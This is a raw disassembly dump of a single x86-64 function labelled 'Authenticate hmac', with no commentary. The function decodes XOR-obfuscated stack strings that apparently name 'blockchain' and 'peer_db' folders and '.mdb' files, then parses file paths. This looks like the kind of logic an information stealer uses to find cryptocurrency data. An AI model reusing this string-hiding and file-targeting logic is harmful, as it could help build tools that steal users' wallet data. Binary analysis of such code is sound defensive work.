Function at 0x140063a40
Capabilities:
Authenticate hmac

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x6b0]
sub rsp, 0x7b0
mov rax, qword [0x1400d6a80]
xor rax, rsp
mov qword [rbp + 0x6a0], rax
mov r15, rdx
mov qword [rbp + 0x128], rdx
mov qword [rbp + 0x550], rdx
xor r13d, r13d
mov dword [rsp + 0x38], r13d
mov byte [rbp - 0x28], 0x60
mov al, 2
mov cl, 0xc
mov dl, 0xf
mov r8b, 3
mov r9b, 0xb
movzx r10d, r8b
mov r11b, 8
mov bl, 1
mov dil, 9
mov sil, 0xe
mov r14b, 0x3c
xor r12d, r12d
xor al, 0x60
mov byte [rbp - 0x27], al
xor cl, 0x60
mov byte [rbp - 0x26], cl
xor dl, 0x60
mov byte [rbp - 0x25], dl
xor r8b, 0x60
mov byte [rbp - 0x24], r8b
xor r9b, 0x60
mov byte [rbp - 0x23], r9b
xor r10b, 0x60
mov byte [rbp - 0x22], r10b
xor r11b, 0x60
mov byte [rbp - 0x21], r11b
xor bl, 0x60
mov byte [rbp - 0x20], bl
xor dil, 0x60
mov byte [rbp - 0x1f], dil
xor sil, 0x60
mov byte [rbp - 0x1e], sil
xor r14b, 0x60
mov byte [rbp - 0x1d], r14b
mov byte [rbp - 0x1c], r12b
xorps xmm0, xmm0
movups xmmword [rbp + 0x400], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x410], xmm1
lea rax, [rbp - 0x27]
mov r12, 0xffffffffffffffff
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140063b30
lea rdx, [rbp - 0x27]
lea rcx, [rbp + 0x400]
call fcn.140001740
nop
mov rdx, r15
cmp qword [r15 + 0x18], 0xf
jbe 0x140063b58
mov rdx, qword [r15]
lea r8, [rbp + 0x400]
lea rcx, [rbp + 0x5b0]
call fcn.1400242b0
nop
lea rcx, [rbp + 0x400]
call fcn.140003100
mov byte [rbp - 0x38], 0x53
mov al, 0x23
mov cl, 0x36
movzx edx, cl
mov r8b, 0x21
mov r9b, 0xc
mov r10b, 0x37
mov r11b, 0x31
mov bl, 0xf
xor edi, edi
xor al, 0x53
mov byte [rbp - 0x37], al
xor cl, 0x53
mov byte [rbp - 0x36], cl
xor dl, 0x53
mov byte [rbp - 0x35], dl
xor r8b, 0x53
mov byte [rbp - 0x34], r8b
xor r9b, 0x53
mov byte [rbp - 0x33], r9b
xor r10b, 0x53
mov byte [rbp - 0x32], r10b
xor r11b, 0x53
mov byte [rbp - 0x31], r11b
xor bl, 0x53
mov byte [rbp - 0x30], bl
mov byte [rbp - 0x2f], dil
xorps xmm0, xmm0
movups xmmword [rbp + 0x420], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x430], xmm1
lea rax, [rbp - 0x37]
mov r8, r12
nop word [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140063bf0
lea rdx, [rbp - 0x37]
lea rcx, [rbp + 0x420]
call fcn.140001740
nop
mov rdx, r15
cmp qword [r15 + 0x18], 0xf
jbe 0x140063c17
mov rdx, qword [r15]
lea r8, [rbp + 0x420]
lea rcx, [rbp + 0x590]
call fcn.1400242b0
nop
lea rcx, [rbp + 0x420]
call fcn.140003100
lea rcx, [rbp + 0x5b0]
cmp qword [rbp + 0x5c8], 0xf
cmova rcx, qword [rbp + 0x5b0]
mov qword [rbp + 0x2c0], rcx
mov rax, r12
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140063c60
mov qword [rbp + 0x2c8], rax
xor r8d, r8d
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x440]
call fcn.14003bd90
nop
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x580], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0x580]
call fcn.14003c060
test eax, eax
jne 0x140065753
lea rcx, [rbp + 0x440]
call fcn.14003db00
xorps xmm0, xmm0
movups xmmword [rbp + 0x5f0], xmm0
mov rax, qword [rbp + 0x588]
test rax, rax
je 0x140063ce2
lock inc dword [rax + 8]
mov rax, qword [rbp + 0x588]
mov r13d, dword [rsp + 0x38]
movdqa xmm1, xmmword [rbp + 0x580]
movdqa xmmword [rbp + 0x5f0], xmm1
movups xmmword [rbp + 0x118], xmm0
test rax, rax
je 0x140063d0f
lock inc dword [rax + 8]
movdqa xmm1, xmmword [rbp + 0x580]
mov r13d, dword [rsp + 0x38]
movdqa xmmword [rbp + 0x2d0], xmm1
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x118]
call fcn.14003def0
nop
mov rax, qword [rbp + 0x118]
mov qword [rsp + 0x40], rax
movzx edi, byte [rsp + 0x30]
movzx ebx, byte [rsp + 0x30]
movzx esi, byte [rsp + 0x30]
movzx r14d, byte [rsp + 0x30]
nop dword [rax]
mov r15, qword [rbp + 0x5f0]
mov qword [rbp - 0x10], r15
cmp r15, rax
je 0x140064725
mov byte [rbp - 0x68], 0x30
mov al, 0x1e
mov cl, 0x5d
mov dl, 0x54
mov r8b, 0x52
xor r9d, r9d
xor al, 0x30
mov byte [rbp - 0x67], al
xor cl, 0x30
mov byte [rbp - 0x66], cl
xor dl, 0x30
mov byte [rbp - 0x65], dl
xor r8b, 0x30
mov byte [rbp - 0x64], r8b
mov byte [rbp - 0x63], r9b
lea rax, [rbp - 0x67]
mov qword [rbp + 0x2e0], rax
lea rcx, [rbp - 0x67]
mov rax, r12
inc rax
cmp byte [rcx + rax], r9b
jne 0x140063da3
mov qword [rbp + 0x2e8], rax
xor r8d, r8d
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x1d0]
call fcn.14003bd90
bts r13d, 0x18
lea rax, [r15 + 0x20]
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x140063ddf
mov rcx, qword [rax]
add rax, 0x10
mov qword [rbp - 8], rax
mov rax, qword [rax]
lea r15, [rcx + rax*2]
mov rdx, r15
call fcn.14003d2a0
mov r12, rax
mov r8d, 0x3a
mov rdx, r15
mov rcx, rax
call fcn.140076f70
mov r15, rax
mov rdx, rax
mov rcx, r12
call fcn.14003d250
sub r15, rax
sar r15, 1
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
xor r12d, r12d
mov qword [rbp + 0x1c0], r12
mov qword [rbp + 0x1c8], r12
mov r8, r15
mov rdx, rax
lea rcx, [rbp + 0x1b0]
call fcn.14003bc60
or r13d, 0xe00000
lea rax, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 7
cmova rax, qword [rbp + 0x1d0]
mov qword [rbp + 0x2f0], rax
mov rax, qword [rbp + 0x1e0]
mov qword [rbp + 0x2f8], rax
movaps xmm0, xmmword [rbp + 0x2f0]
movdqa xmmword [rbp + 0x500], xmm0
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x1b0]
call fcn.14003dc70
mov r15d, eax
lea rcx, [rbp + 0x1b0]
call fcn.14003db00
nop
lea rcx, [rbp + 0x1d0]
call fcn.14003db00
test r15d, r15d
jne 0x140064700
mov byte [rbp - 0x60], 0x35
mov al, 0x1b
mov cl, 0x58
mov dl, 0x51
mov r8b, 0x57
xor r9d, r9d
xor al, 0x35
mov byte [rbp - 0x5f], al
xor cl, 0x35
mov byte [rbp - 0x5e], cl
xor dl, 0x35
mov byte [rbp - 0x5d], dl
xor r8b, 0x35
mov byte [rbp - 0x5c], r8b
mov byte [rbp - 0x5b], r9b
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
mov qword [rbp + 0x160], r12
mov qword [rbp + 0x168], r12
lea rax, [rbp - 0x5f]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r9b
jne 0x140063f15
lea rdx, [rbp - 0x5f]
lea rcx, [rbp + 0x150]
call fcn.140001740
nop
mov rax, qword [rbp - 0x10]
lea rcx, [rax + 0x20]
cmp qword [rax + 0x38], 7
jbe 0x140063f48
mov rcx, qword [rax + 0x20]
add rax, 0x30
jmp 0x140063f4c
mov rax, qword [rbp - 8]
mov rax, qword [rax]
lea r15, [rcx + rax*2]
mov rdx, r15
call fcn.14003d2a0
mov r12, rax
mov r8d, 0x3a
mov rdx, r15
mov rcx, rax
call fcn.140076f70
mov rdx, rax
mov rcx, r12
call fcn.14003d250
sub rax, r12
sar rax, 1
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
xor ecx, ecx
mov qword [rbp + 0xa8], rcx
mov qword [rbp + 0xb0], rcx
mov r8, rax
mov rdx, r12
lea rcx, [rbp + 0x98]
call fcn.14003bc60
nop
lea rax, [rbp + 0x98]
cmp qword [rbp + 0xb0], 7
cmova rax, qword [rbp + 0x98]
mov qword [rbp + 0x320], rax
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0x328], rax
movaps xmm0, xmmword [rbp + 0x320]
movdqa xmmword [rbp + 0x4f0], xmm0
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0x40]
call fcn.14003be80
nop
lea r12, [rbp + 0x5b0]
cmp qword [rbp + 0x5c8], 0xf
cmova r12, qword [rbp + 0x5b0]
mov r15, 0xffffffffffffffff
nop dword [rax]
inc r15
cmp byte [r12 + r15], 0
jne 0x140064020
mov r8, qword [rbp + 0x50]
mov rcx, qword [rbp + 0x58]
mov rax, rcx
sub rax, r8
cmp r15, rax
ja 0x1400640cf
lea rax, [r8 + r15]
mov qword [rbp + 0x50], rax
lea rdx, [rbp + 0x40]
cmp rcx, 0xf
cmova rdx, qword [rbp + 0x40]
mov qword [rsp + 0x38], rdx
lea rax, [r15 + r12]
cmp rax, rdx
jbe 0x14006408a
lea rax, [rdx + r8]
cmp r12, rax
ja 0x14006408a
cmp rdx, r12
ja 0x14006407d
mov qword [rsp + 0x70], 0
jmp 0x14006408f
mov rax, rdx
sub rax, r12
mov qword [rsp + 0x70], rax
jmp 0x14006408f
mov qword [rsp + 0x70], r15
inc r8
lea rcx, [rdx + r15]
call fcn.1400a7a30
mov r8, qword [rsp + 0x70]
mov rdx, r12
mov rcx, qword [rsp + 0x38]
call fcn.1400a7a30
mov r8, r15
mov rcx, qword [rsp + 0x70]
sub r8, rcx
lea rdx, [rcx + r15]
add rdx, r12
add rcx, qword [rsp + 0x38]
call fcn.1400a7a30
lea rax, [rbp + 0x40]
jmp 0x1400640ec
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r12
xor r9d, r9d
movzx r8d, bl
mov rdx, r15
lea rcx, [rbp + 0x40]
call fcn.14000c900
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x380], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x390], xmm1
xor r15d, r15d
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
bts r13d, 0x19
lea r9, [rbp + 0x150]
lea r8, [rbp + 0x380]
movzx edx, dil
lea rcx, [rbp + 0x640]
call fcn.1400026c0
bts r13d, 0x1a
mov r8, qword [rbp + 0x398]
cmp r8, 0xf
jbe 0x14006415c
mov rdx, qword [rbp + 0x380]
lea rcx, [rbp + 0x380]
call fcn.140003a80
nop
mov r8, qword [rbp + 0x58]
cmp r8, 0xf
jbe 0x140064173
mov rdx, qword [rbp + 0x40]
lea rcx, [rbp + 0x40]
call fcn.140003a80
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], 0
lea rcx, [rbp + 0x98]
call fcn.14003db00
nop
mov r8, qword [rbp + 0x168]
cmp r8, 0xf
jbe 0x1400641b0
mov rdx, qword [rbp + 0x150]
lea rcx, [rbp + 0x150]
call fcn.140003a80
mov byte [rbp - 0x58], 0x7d
mov al, 0x53
mov cl, 0x10
mov dl, 0x19
mov r8b, 0x1f
xor r9d, r9d
xor al, 0x7d
mov byte [rbp - 0x57], al
xor cl, 0x7d
mov byte [rbp - 0x56], cl
xor dl, 0x7d
mov byte [rbp - 0x55], dl
xor r8b, 0x7d
mov byte [rbp - 0x54], r8b
mov byte [rbp - 0x53], r9b
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
mov qword [rbp + 0x1a0], r15
mov qword [rbp + 0x1a8], r15
lea rax, [rbp - 0x57]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r9b
jne 0x140064200
lea rdx, [rbp - 0x57]
lea rcx, [rbp + 0x190]
call fcn.140001740
nop
mov rax, qword [rbp - 0x10]
lea rcx, [rax + 0x20]
cmp qword [rax + 0x38], 7
jbe 0x14006422d
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x30]
lea r15, [rcx + rax*2]
mov rdx, r15
call fcn.14003d2a0
mov r12, rax
mov r8d, 0x3a
mov rdx, r15
mov rcx, rax
call fcn.140076f70
mov rdx, rax
mov rcx, r12
call fcn.14003d250
sub rax, r12
sar rax, 1
xorps xmm0, xmm0
movups xmmword [rbp + 0xd8], xmm0
xor ecx, ecx
mov qword [rbp + 0xe8], rcx
mov qword [rbp + 0xf0], rcx
mov r8, rax
mov rdx, r12
lea rcx, [rbp + 0xd8]
call fcn.14003bc60
or r13d, 0x38000000
mov dword [rsp + 0x38], r13d
lea rax, [rbp + 0xd8]
cmp qword [rbp + 0xf0], 7
cmova rax, qword [rbp + 0xd8]
mov qword [rbp + 0x330], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x338], rax
movaps xmm0, xmmword [rbp + 0x330]
movdqa xmmword [rbp + 0x4e0], xmm0
lea r8, [rsp + 0x31]
lea rdx, [rbp + 0x4e0]
lea rcx, [rbp + 0x170]
call fcn.14003be80
nop
movdqa xmm1, xmmword [0x1400b8e40]
movdqu xmmword [rsp + 0x78], xmm1
mov cl, 9
mov dl, 0x48
mov r8b, 5
mov r9b, 0xb
mov r11b, 8
mov r15b, 4
mov r12b, 0xc
movzx r13d, r15b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r10d, xmm1
xor al, r10b
mov byte [rsp + 0x79], al
xor byte [rsp + 0x7a], r10b
xor byte [rsp + 0x7b], r10b
xor byte [rsp + 0x7c], r10b
xor byte [rsp + 0x7d], r10b
xor byte [rsp + 0x7e], r10b
xor byte [rsp + 0x7f], r10b
xor byte [rbp - 0x80], r10b
xor byte [rbp - 0x7f], r10b
xor byte [rbp - 0x7e], r10b
xor byte [rbp - 0x7d], r10b
xor byte [rbp - 0x7c], r10b
xor byte [rbp - 0x7b], r10b
xor byte [rbp - 0x7a], r10b
xor byte [rbp - 0x79], r10b
xor cl, r10b
mov byte [rbp - 0x78], cl
xor dl, r10b
mov byte [rbp - 0x77], dl
xor r8b, r10b
mov byte [rbp - 0x76], r8b
xor r9b, r10b
mov byte [rbp - 0x75], r9b
xor r11b, r10b
mov byte [rbp - 0x74], r11b
xor r15b, r10b
mov byte [rbp - 0x73], r15b
xor r12b, r10b
mov byte [rbp - 0x72], r12b
xor r13b, r10b
mov byte [rbp - 0x71], r13b
mov al, 0xf
xor al, r10b
mov byte [rbp - 0x70], al
mov al, 6
xor al, r10b
mov byte [rbp - 0x6f], al
mov al, 0xe
xor al, r10b
mov byte [rbp - 0x6e], al
mov al, 9
xor al, r10b
mov byte [rbp - 0x6d], al
mov al, 0x48
xor al, r10b
mov byte [rbp - 0x6c], al
mov byte [rbp - 0x6b], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
xor r12d, r12d
mov qword [rbp + 0x140], r12
mov qword [rbp + 0x148], r12
lea rax, [rsp + 0x79]
mov r15, 0xffffffffffffffff
mov r8, r15
inc r8
cmp byte [rax + r8], r12b
jne 0x1400643f6
lea rdx, [rsp + 0x79]
lea rcx, [rbp + 0x130]
call fcn.140001740
nop
lea r9, [rbp + 0x170]
lea r8, [rbp + 0x130]
movzx edx, r14b
lea rcx, [rbp + 0x460]
call fcn.1400026c0
mov r13d, dword [rsp + 0x38]
bts r13d, 0x1e
lea r9, [rbp + 0x190]
lea r8, [rbp + 0x460]
movzx edx, sil
lea rcx, [rbp + 0x620]
call fcn.1400026c0
or r13d, 0x80000000
mov r8, qword [rbp + 0x478]
cmp r8, 0xf
jbe 0x14006447f
mov rdx, qword [rbp + 0x460]
lea rcx, [rbp + 0x460]
call fcn.140003a80
nop
mov r8, qword [rbp + 0x148]
cmp r8, 0xf
jbe 0x1400644a0
mov rdx, qword [rbp + 0x130]
lea rcx, [rbp + 0x130]
call fcn.140003a80
nop
mov r8, qword [rbp + 0x188]
cmp r8, 0xf
jbe 0x1400644c0
mov rdx, qword [rbp + 0x170]
lea rcx, [rbp + 0x170]
call fcn.140003a80
mov qword [rbp + 0x180], r12
mov qword [rbp + 0x188], 0xf
mov byte [rbp + 0x170], 0
lea rcx, [rbp + 0xd8]
call fcn.14003db00
nop
mov r8, qword [rbp + 0x1a8]
cmp r8, 0xf
jbe 0x140064506
mov rdx, qword [rbp + 0x190]
lea rcx, [rbp + 0x190]
call fcn.140003a80
lea rdx, [rbp + 0x640]
cmp qword [rbp + 0x658], 0xf
cmova rdx, qword [rbp + 0x640]
xorps xmm0, xmm0
movups xmmword [rbp + 0x3a0], xmm0
mov qword [rbp + 0x3b0], r12
mov qword [rbp + 0x3b8], r12
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140064540
lea rcx, [rbp + 0x3a0]
call fcn.140001740
mov r9d, 8
lea r8, [rbp + 0x3a0]
lea rdx, [rbp + 0x5d0]
lea rcx, [0x1400d87a0]
call fcn.140071ad0
nop
lea rax, [rbp + 0x20]
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
mov r15, qword [rbp + 0x5e0]
lea r12, [rbp + 0x5d0]
cmp qword [rbp + 0x5e8], 0xf
cmova r12, qword [rbp + 0x5d0]
movabs rax, 0x7fffffffffffffff
cmp r15, rax
ja 0x140065769
mov qword [rbp + 0x38], 0xf
cmp r15, 0xf
ja 0x1400645dd
mov qword [rbp + 0x30], r15
movups xmm0, xmmword [r12]
movups xmmword [rbp + 0x20], xmm0
jmp 0x14006461a
mov rdx, r15
lea rcx, [rbp + 0x20]
call fcn.14005f460
mov qword [rbp + 0x60], rax
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x20]
call fcn.14003bbf0
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x30], r15
mov rcx, qword [rbp + 0x60]
mov qword [rbp + 0x38], rcx
lea r8, [r15 + 1]
mov rdx, r12
mov rcx, rax
call fcn.1400a7a30
nop
lea rdx, [rbp + 0x620]
cmp qword [rbp + 0x638], 0xf
cmova rdx, qword [rbp + 0x620]
xorps xmm0, xmm0
movups xmmword [rbp + 0x3c0], xmm0
xor r15d, r15d
mov qword [rbp + 0x3d0], r15
mov qword [rbp + 0x3d8], r15
mov r12, 0xffffffffffffffff
mov r8, r12
inc r8
cmp byte [rdx + r8], r15b
jne 0x140064656
lea rcx, [rbp + 0x3c0]
call fcn.140001740
nop
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0x3c0]
lea rcx, [0x1400d86b0]
call fcn.140026630
nop
mov r8, qword [rbp + 0x5e8]
cmp r8, 0xf
jbe 0x1400646a4
mov rdx, qword [rbp + 0x5d0]
lea rcx, [rbp + 0x5d0]
call fcn.140003a80
mov qword [rbp + 0x5e0], r15
mov qword [rbp + 0x5e8], 0xf
mov byte [rbp + 0x5d0], 0
mov r8, qword [rbp + 0x638]
cmp r8, 0xf
jbe 0x1400646de
mov rdx, qword [rbp + 0x620]
lea rcx, [rbp + 0x620]
call fcn.140003a80
nop
mov r8, qword [rbp + 0x658]
cmp r8, 0xf
jbe 0x140064707
mov rdx, qword [rbp + 0x640]
lea rcx, [rbp + 0x640]
call fcn.140003a80
jmp 0x140064707
mov r12, 0xffffffffffffffff
lea rcx, [rbp + 0x5f0]
call fcn.14003d130
test eax, eax
jne 0x14006576f
mov rax, qword [rsp + 0x40]
jmp 0x140063d50
lea rcx, [rbp + 0x118]
call fcn.14003ccc0
nop
lea rcx, [rbp + 0x5f0]
call fcn.14003ccc0
nop
lea rcx, [rbp + 0x580]
call fcn.14003ccc0
lea rcx, [rbp + 0x590]
cmp qword [rbp + 0x5a8], 0xf
cmova rcx, qword [rbp + 0x590]
mov qword [rbp + 0x340], rcx
mov rax, r12
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140064770
mov qword [rbp + 0x348], rax
xor r8d, r8d
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x480]
call fcn.14003bd90
bts r13d, 0x14
mov dword [rsp + 0x38], r13d
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x560], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x480]
lea rcx, [rbp + 0x560]
call fcn.14003c060
test eax, eax
jne 0x14006577e
lea rcx, [rbp + 0x480]
call fcn.14003db00
xorps xmm0, xmm0
movups xmmword [rbp + 0x570], xmm0
mov rcx, qword [rbp + 0x568]
test rcx, rcx
je 0x1400647f4
lock inc dword [rcx + 8]
mov r13d, dword [rsp + 0x38]
movdqa xmm1, xmmword [rbp + 0x560]
movdqa xmmword [rbp + 0x570], xmm1
movups xmmword [rbp + 0x68], xmm0
mov rcx, qword [rbp + 0x568]
test rcx, rcx
je 0x140064825
lock inc dword [rcx + 8]
movdqa xmm1, xmmword [rbp + 0x560]
mov r13d, dword [rsp + 0x38]
movdqa xmmword [rbp + 0x2b0], xmm1
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x68]
call fcn.14003def0
nop
mov rax, qword [rbp + 0x68]
mov qword [rsp + 0x48], rax
movzx r14d, byte [rsp + 0x31]
movzx r15d, byte [rsp + 0x31]
movzx esi, byte [rsp + 0x31]
movzx edi, byte [rsp + 0x31]
nop dword [rax]
mov rbx, qword [rbp + 0x570]
mov qword [rbp - 8], rbx
cmp rbx, rax
je 0x140065556
mov byte [rbp - 0x50], 0x6a
mov al, 0x44
mov cl, 7
mov dl, 0xe
mov r8b, 8
xor r9d, r9d
xor al, 0x6a
mov byte [rbp - 0x4f], al
xor cl, 0x6a
mov byte [rbp - 0x4e], cl
xor dl, 0x6a
mov byte [rbp - 0x4d], dl
xor r8b, 0x6a
mov byte [rbp - 0x4c], r8b
mov byte [rbp - 0x4b], r9b
lea rax, [rbp - 0x4f]
mov qword [rbp + 0x350], rax
lea rcx, [rbp - 0x4f]
mov rax, r12
inc rax
cmp byte [rcx + rax], r9b
jne 0x1400648b3
mov qword [rbp + 0x358], rax
xor r8d, r8d
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x210]
call fcn.14003bd90
or r13d, 8
lea rcx, [rbx + 0x20]
cmp qword [rbx + 0x38], 7
jbe 0x1400648ec
mov rcx, qword [rbx + 0x20]
mov rax, qword [rbx + 0x30]
lea r12, [rcx + rax*2]
mov rbx, r12
mov rdx, r12
call fcn.14003d300
cmp rax, r12
je 0x14006493d
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x140064913
cmp cx, 0x2f
jne 0x14006491c
add rax, 2
cmp rax, r12
jne 0x140064904
cmp rax, r12
je 0x14006493d
lea r8, [rbx - 2]
movzx ecx, word [r8]
cmp cx, 0x5c
je 0x14006493d
cmp cx, 0x2f
je 0x14006493d
mov rbx, r8
cmp rax, r8
jne 0x140064921
mov r8d, 0x3a
mov rdx, r12
mov rcx, rbx
call fcn.140076f70
cmp rbx, rax
je 0x14006498f
lea rdx, [rax - 2]
cmp rbx, rdx
je 0x14006498f
cmp word [rdx], 0x2e
jne 0x140064973
lea rcx, [rdx - 2]
cmp rbx, rcx
jne 0x140064992
cmp word [rcx], 0x2e
jne 0x140064992
jmp 0x14006498f
sub rdx, 2
cmp rbx, rdx
je 0x14006498f
nop dword [rax]
cmp word [rdx], 0x2e
je 0x140064992
sub rdx, 2
cmp rbx, rdx
jne 0x140064980
mov rdx, rax
sub rax, rdx
sar rax, 1
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
xor r12d, r12d
mov qword [rbp + 0x200], r12
mov qword [rbp + 0x208], r12
mov r8, rax
lea rcx, [rbp + 0x1f0]
call fcn.14003bc60
or r13d, 7
mov dword [rsp + 0x38], r13d
lea rax, [rbp + 0x210]
cmp qword [rbp + 0x228], 7
cmova rax, qword [rbp + 0x210]
mov qword [rbp + 0x360], rax
mov rax, qword [rbp + 0x220]
mov qword [rbp + 0x368], rax
movaps xmm0, xmmword [rbp + 0x360]
movdqa xmmword [rbp + 0x4d0], xmm0
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x1f0]
call fcn.14003dc70
mov ebx, eax
lea rcx, [rbp + 0x1f0]
call fcn.14003db00
nop
lea rcx, [rbp + 0x210]
call fcn.14003db00
test ebx, ebx
jne 0x140065531
mov byte [rbp - 0x48], 0x7d
mov al, 0x53
mov cl, 0x10
mov dl, 0x19
mov r8b, 0x1f
xor r9d, r9d
xor al, 0x7d
mov byte [rbp - 0x47], al
xor cl, 0x7d
mov byte [rbp - 0x46], cl
xor dl, 0x7d
mov byte [rbp - 0x45], dl
xor r8b, 0x7d
mov byte [rbp - 0x44], r8b
mov byte [rbp - 0x43], r9b
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
mov qword [rbp + 0x240], r12
mov qword [rbp + 0x248], r12
lea rax, [rbp - 0x47]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], r9b
jne 0x140064a90
lea rdx, [rbp - 0x47]
lea rcx, [rbp + 0x230]
call fcn.140001740
nop
mov rax, qword [rbp - 8]
lea rcx, [rax + 0x20]
cmp qword [rax + 0x38], 7
jbe 0x140064abd
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x30]
lea r12, [rcx + rax*2]
mov rbx, r12
mov rdx, r12
call fcn.14003d300
cmp rax, r12
je 0x140064b0e
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x140064ae4
cmp cx, 0x2f
jne 0x140064aed
add rax, 2
cmp rax, r12
jne 0x140064ad5
cmp rax, r12
je 0x140064b0e
lea r8, [rbx - 2]
movzx ecx, word [r8]
cmp cx, 0x5c
je 0x140064b0e
cmp cx, 0x2f
je 0x140064b0e
mov rbx, r8
cmp rax, r8
jne 0x140064af2
mov r8d, 0x3a
mov rdx, r12
mov rcx, rbx
call fcn.140076f70
mov r8, rax
cmp rbx, rax
je 0x140064b4c
add rax, 0xfffffffffffffffe
cmp rbx, rax
je 0x140064b4c
cmp word [rax], 0x2e
jne 0x140064cda
lea rcx, [rax - 2]
cmp rbx, rcx
jne 0x140064b49
cmp word [rcx], 0x2e
je 0x140064b4c
mov r8, rax
sub r8, rbx
sar r8, 1
xorps xmm0, xmm0
movups xmmword [rbp + 0xb8], xmm0
xor eax, eax
mov qword [rbp + 0xc8], rax
mov qword [rbp + 0xd0], rax
mov rdx, rbx
lea rcx, [rbp + 0xb8]
call fcn.14003bc60
or r13d, 0x380
lea rbx, [rbp + 0xb8]
cmp qword [rbp + 0xd0], 7
cmova rbx, qword [rbp + 0xb8]
mov qword [rsp + 0x40], rbx
mov r12, qword [rbp + 0xc8]
call fcn.140077abc
mov dword [rsp + 0x70], eax
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xor r8d, r8d
mov qword [rbp + 0x10], r8
mov ecx, 0xf
mov qword [rbp + 0x18], rcx
mov byte [rbp], r8b
bts r13d, 0xd
mov dword [rsp + 0x38], r13d
test r12, r12
je 0x140064c5c
cmp r12, 0x7fffffff
ja 0x1400657a7
mov dword [rsp + 0x20], r8d
xor r9d, r9d
mov r8d, r12d
mov rdx, rbx
mov ecx, eax
call fcn.140077b2c
mov rbx, rax
mov qword [rbp - 0x10], rax
shr rax, 0x20
test eax, eax
jne 0x14006579e
movsxd rdx, ebx
xor r8d, r8d
lea rcx, [rbp]
call fcn.140011950
lea r9, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova r9, qword [rbp]
mov dword [rsp + 0x20], ebx
mov r8d, r12d
mov rdx, qword [rsp + 0x40]
mov ecx, dword [rsp + 0x70]
call fcn.140077b2c
mov qword [rsp + 0x40], rax
shr rax, 0x20
test eax, eax
jne 0x140065794
mov rcx, qword [rbp + 0x18]
mov r8, qword [rbp + 0x10]
btr r13d, 0xd
or r13d, 0x1c00
lea r12, [rbp + 0x590]
cmp qword [rbp + 0x5a8], 0xf
cmova r12, qword [rbp + 0x590]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [r12 + rbx], 0
jne 0x140064c86
mov rax, rcx
sub rax, r8
cmp rbx, rax
ja 0x140064d58
lea rax, [rbx + r8]
mov qword [rbp + 0x10], rax
lea rdx, [rbp]
cmp rcx, 0xf
cmova rdx, qword [rbp]
mov qword [rbp - 0x10], rdx
lea rax, [rbx + r12]
cmp rax, rdx
jbe 0x140064d15
lea rax, [rdx + r8]
cmp r12, rax
ja 0x140064d15
cmp rdx, r12
ja 0x140064d08
mov qword [rsp + 0x70], 0
jmp 0x140064d1a
sub rax, 2
cmp rbx, rax
je 0x140064b4c
nop word [rax + rax]
cmp word [rax], 0x2e
je 0x140064b49
sub rax, 2
cmp rbx, rax
jne 0x140064cf0
jmp 0x140064b4c
mov rax, rdx
sub rax, r12
mov qword [rsp + 0x70], rax
jmp 0x140064d1a
mov qword [rsp + 0x70], rbx
inc r8
lea rcx, [rdx + rbx]
call fcn.1400a7a30
mov r8, qword [rsp + 0x70]
mov rdx, r12
mov rcx, qword [rbp - 0x10]
call fcn.1400a7a30
mov r8, rbx
mov rcx, qword [rsp + 0x70]
